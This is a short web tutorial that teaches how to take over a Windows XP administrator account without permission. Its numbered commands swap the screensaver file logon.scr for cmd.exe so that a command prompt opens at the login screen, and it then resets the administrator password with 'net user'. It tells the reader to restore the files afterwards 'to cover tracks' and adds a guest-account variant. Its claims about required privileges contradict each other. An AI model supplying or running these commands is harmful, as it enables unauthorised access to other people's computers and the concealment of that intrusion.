How to Hack Windows XP Admin Password

You Are Here

Hi Friends, Now you can easily hack Windows XP Admin password. I am sharing this tutorial which will teach you how to hack windows XP passwords, without using any software. If you logged in to a limited account in Windows Xp/target machine and open up a dos prompt. You just want to login as an Administrator for your Windows Xp/target machine using dos prompt then this hack is very useful for you.

Then enter this set of commands Exactly:

  • cd\ [drops to root]
  • cd\windows\system32 [directs to the system32 dir]
  • mkdir temphack [creates the folder temphack]
  • copy logon.scr temphack\logon.scr [backsup logon.scr]
  • copy cmd.exe temphack\cmd.exe [backsup cmd.exe]
  • del logon.scr [deletes original logon.scr]
  • rename cmd.exe logon.scr [renames cmd.exe to logon.scr]
  • exit [quits dos]

Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes

net user password

If the Administrator Account is called Frank and you want the password blah enter this

net user Frank blah

and this changes the password on franks machine to blah and you are in.

Note: Don’t forget to copy the contents of temphack back into the system32 dir to cover tracks.The Above method is is possible only if you have Local Administrator Privileges and the the system is FAT/FAT32.

    the easy method is to just open guest account if it is active then open run from the start menu
    type cmd in the run box
    in black screen type the following command
    net user (account name) *
    now it will ask the new password for the account u have typed
